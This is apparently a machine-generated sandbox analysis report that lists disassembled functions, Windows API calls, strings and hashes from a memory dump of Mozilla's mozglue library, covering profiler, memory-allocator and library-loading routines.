GetCurrentThreadId.KERNEL32 ref: 6C5B485F
GetCurrentThreadId.KERNEL32 ref: 6C5B487E
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B488B
free.MOZGLUE(?), ref: 6C5B493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B4956
free.MOZGLUE(00000000), ref: 6C5B4960
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B499A

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

free.MOZGLUE(?), ref: 6C5B49C6
free.MOZGLUE(?), ref: 6C5B49E9

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5B4828
[I %d/%d] profiler_shutdown, xrefs: 6C5B4A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5B47FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C5B4A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5B4812

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 01b6ec0188181c1f25a9f4af391fae229b4aefee875e6c310a25913df08f3695
Instruction ID: f3ad5d9ad4f67e53582ca730284b80af8bf1982027658d5b877168efa05412ae
Opcode Fuzzy Hash: 01b6ec0188181c1f25a9f4af391fae229b4aefee875e6c310a25913df08f3695
Instruction Fuzzy Hash: 8181E571A00110CBDB20DF69CCA475A7B75FF82318F540629E916A7B42E73AE845CB9F

Function 6C5B4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5B44B2,6C62E21C,6C62F7F8), ref: 6C5B473E
Part of subcall function 6C5B4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5B474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5B44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5B44D2
InitOnceExecuteOnce.KERNEL32(6C62F80C,6C5AF240,?,?), ref: 6C5B451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5B455C
LoadLibraryW.KERNEL32(?), ref: 6C5B4592
InitializeCriticalSection.KERNEL32(6C62F770), ref: 6C5B45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5B45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5B45BB
InitOnceExecuteOnce.KERNEL32(6C62F818,6C5AF240,?,?), ref: 6C5B4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5B4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5B4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5B466D
VerSetConditionMask.NTDLL ref: 6C5B469F
VerSetConditionMask.NTDLL ref: 6C5B46AB
VerSetConditionMask.NTDLL ref: 6C5B46B2
VerSetConditionMask.NTDLL ref: 6C5B46B9
VerSetConditionMask.NTDLL ref: 6C5B46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5B46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5B46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5B46FD

Strings

user32.dll, xrefs: 6C5B4557, 6C5B463F
Gbl, xrefs: 6C5B44FC
NativeNtBlockSet_Write, xrefs: 6C5B46F7
l, xrefs: 6C5B4578
WRusr.dll, xrefs: 6C5B44B5
kernel32.dll, xrefs: 6C5B44CD

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gbl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3324001954
Opcode ID: 92cf069cee517e135d84ebd5672a7e51041a6d58fc5ddb4b040e2d112189c132
Instruction ID: cff88caaebaecf6036a6618cd64cac75ac8956e8d5328bba4cbe5482e6b61ac3
Opcode Fuzzy Hash: 92cf069cee517e135d84ebd5672a7e51041a6d58fc5ddb4b040e2d112189c132
Instruction Fuzzy Hash: 0A615BB0604354AFEB209F62CC85B957FB8EF82308F04855CE545AB641D3BD9945CF5A

Function 6C5EF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C5EF8F9

Part of subcall function 6C5B6390: GetCurrentThreadId.KERNEL32 ref: 6C5B63D0
Part of subcall function 6C5B6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5B63DF
Part of subcall function 6C5B6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5B640E

ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF93A
GetCurrentThreadId.KERNEL32 ref: 6C5EF98A
GetCurrentThreadId.KERNEL32 ref: 6C5EF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF716

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

Part of subcall function 6C5AB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5AB5E0

GetCurrentThreadId.KERNEL32 ref: 6C5EF739
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF746
GetCurrentThreadId.KERNEL32 ref: 6C5EF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C62385B,00000002,?,?,?,?,?), ref: 6C5EF829
free.MOZGLUE(?,?,00000000,?), ref: 6C5EF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C5EF866
free.MOZGLUE(?), ref: 6C5EFA0C

Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B5E8C
Part of subcall function 6C5B5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5E9D
Part of subcall function 6C5B5E60: GetCurrentThreadId.KERNEL32 ref: 6C5B5EAB
Part of subcall function 6C5B5E60: GetCurrentThreadId.KERNEL32 ref: 6C5B5EB8
Part of subcall function 6C5B5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5ECF
Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C5B5F27
Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C5B5F47
Part of subcall function 6C5B5E60: GetCurrentProcess.KERNEL32 ref: 6C5B5F53
Part of subcall function 6C5B5E60: GetCurrentThread.KERNEL32 ref: 6C5B5F5C
Part of subcall function 6C5B5E60: GetCurrentProcess.KERNEL32 ref: 6C5B5F66
Part of subcall function 6C5B5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5B5F7E

free.MOZGLUE(?), ref: 6C5EF9C5
free.MOZGLUE(?), ref: 6C5EF9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C5EF9A6
Thread , xrefs: 6C5EF789
" attempted to re-register as ", xrefs: 6C5EF858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C5EF71F

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 5bc0720ddb7945827e735d21d03b0c5cdb327e011554b325365b11191bf233ed
Instruction ID: 488dc76d27e11a44d6bbb42f8ababecb44f75b6518541091df13282c4ebfe0a9
Opcode Fuzzy Hash: 5bc0720ddb7945827e735d21d03b0c5cdb327e011554b325365b11191bf233ed
Instruction Fuzzy Hash: 22811371A04200DFDB00DF65DC80AAEB7B5EFC9308F40456DE8869BB51EB34AC49CB92

Function 6C5EEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EEE60
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEE6D
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5EEEA5
CloseHandle.KERNEL32(?), ref: 6C5EEEB4
free.MOZGLUE(00000000), ref: 6C5EEEBB
GetCurrentThreadId.KERNEL32 ref: 6C5EEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EEECF

Part of subcall function 6C5EDE60: GetCurrentThreadId.KERNEL32 ref: 6C5EDE73
Part of subcall function 6C5EDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5B4A68), ref: 6C5EDE7B
Part of subcall function 6C5EDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5B4A68), ref: 6C5EDEB8
Part of subcall function 6C5EDE60: free.MOZGLUE(00000000,?,6C5B4A68), ref: 6C5EDEFE
Part of subcall function 6C5EDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5EDF38

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5EEF1E
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEF2B
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEF59
GetCurrentThreadId.KERNEL32 ref: 6C5EEFB0
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEFBD
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEFE1
GetCurrentThreadId.KERNEL32 ref: 6C5EEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF000

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF02F

Part of subcall function 6C5EF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5EF09B
Part of subcall function 6C5EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5EF0AC
Part of subcall function 6C5EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5EF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C5EEED7
[I %d/%d] profiler_pause, xrefs: 6C5EF008

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: d347387d18bc8e9a24d58b264f266c6432058a6b791cc7962174517bcfbff507
Instruction ID: 172177a8a43190cfbaa3514cbc59d34977cd7b9451b6a9ebd098c94da342b9c6
Opcode Fuzzy Hash: d347387d18bc8e9a24d58b264f266c6432058a6b791cc7962174517bcfbff507
Instruction Fuzzy Hash: 1D51FA71600220DFDB009F66DC88B9577B8EF8A358F100A25ED2683B41DBBD5805CBAF

Function 6C5DD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5DD047
GetSystemInfo.KERNEL32(?), ref: 6C5DD093
__Init_thread_footer.LIBCMT ref: 6C5DD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5DD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5DD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5DD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5DD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5DD1B1

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C5DD26D
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5DD322
<jemalloc>, xrefs: 6C5DD268, 6C5DD311
MOZ_CRASH(), xrefs: 6C5DD277
MALLOC_OPTIONS, xrefs: 6C5DD0CB

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 0eab623a80bbb85e0a20f468f38bf53e6c26bb29b4dc454f711cc4ba2cfd2a5d
Instruction ID: 4c71637b38a5332d0e8829e1de787c8766cad640ee74136df4288f0353e2da40
Opcode Fuzzy Hash: 0eab623a80bbb85e0a20f468f38bf53e6c26bb29b4dc454f711cc4ba2cfd2a5d
Instruction Fuzzy Hash: 7481AF70A453019BEB00DFBACC94AA977B5EB86305F11053AE94297B80D77DA805CFAD

Function 6C5B7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C5B8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C5B801D

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C5B802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C5B803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C5B808D

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C5B809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5B80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5B8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C5B8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C5B8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C5B817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B8199

Strings

0>^l, xrefs: 6C5B811E

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>^l
API String ID: 2721933968-2678502030
Opcode ID: 87141d81db1ebc98e4aab2fd0f811e19727365ff98048a8ba72d9b2fdd528d7c
Instruction ID: b237d2fdcfbdf3c97cbb2410b6f3dd2c5a2415732a7c14bb23d275ac6f3677f8
Opcode Fuzzy Hash: 87141d81db1ebc98e4aab2fd0f811e19727365ff98048a8ba72d9b2fdd528d7c
Instruction Fuzzy Hash: 825186B1E00115ABDF00DBA9DC84AEFBBB9EF89264F140125E815F7741E735AD048BA6

Function 6C5B5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5E9D

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

GetCurrentThreadId.KERNEL32 ref: 6C5B5EAB
GetCurrentThreadId.KERNEL32 ref: 6C5B5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C5B6017

Part of subcall function 6C5A4310: moz_xmalloc.MOZGLUE(00000010,?,6C5A42D2), ref: 6C5A436A
Part of subcall function 6C5A4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5A42D2), ref: 6C5A4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C5B5F47
GetCurrentProcess.KERNEL32 ref: 6C5B5F53
GetCurrentThread.KERNEL32 ref: 6C5B5F5C
GetCurrentProcess.KERNEL32 ref: 6C5B5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5B5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C5B5F27

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B5E8C

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B60CC

Strings

GeckoMain, xrefs: 6C5B5ECE, 6C5B6015

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: bc8a66d3f4e5879e9053ca4d6552303308d189544a1ecc2152a51cc8daffefdc
Instruction ID: 9686039008196e16fdede45e9eb6a355864f811db17045e49d1cdd61a471e426
Opcode Fuzzy Hash: bc8a66d3f4e5879e9053ca4d6552303308d189544a1ecc2152a51cc8daffefdc
Instruction Fuzzy Hash: A871CFB0A04740DFD704DF29C890A6ABBF0FF8A304F54496DE58697B42DB75E848CB96

Function 6C5B9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5A3217
Part of subcall function 6C5A31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5A3236
Part of subcall function 6C5A31C0: FreeLibrary.KERNEL32 ref: 6C5A324B
Part of subcall function 6C5A31C0: __Init_thread_footer.LIBCMT ref: 6C5A3260
Part of subcall function 6C5A31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5A327F
Part of subcall function 6C5A31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A328E
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A32AB
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A32D1
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5A32E5
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5A32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5B9675
__Init_thread_footer.LIBCMT ref: 6C5B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5B9707
__Init_thread_footer.LIBCMT ref: 6C5B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5B97B7
FreeLibrary.KERNEL32 ref: 6C5B97D0
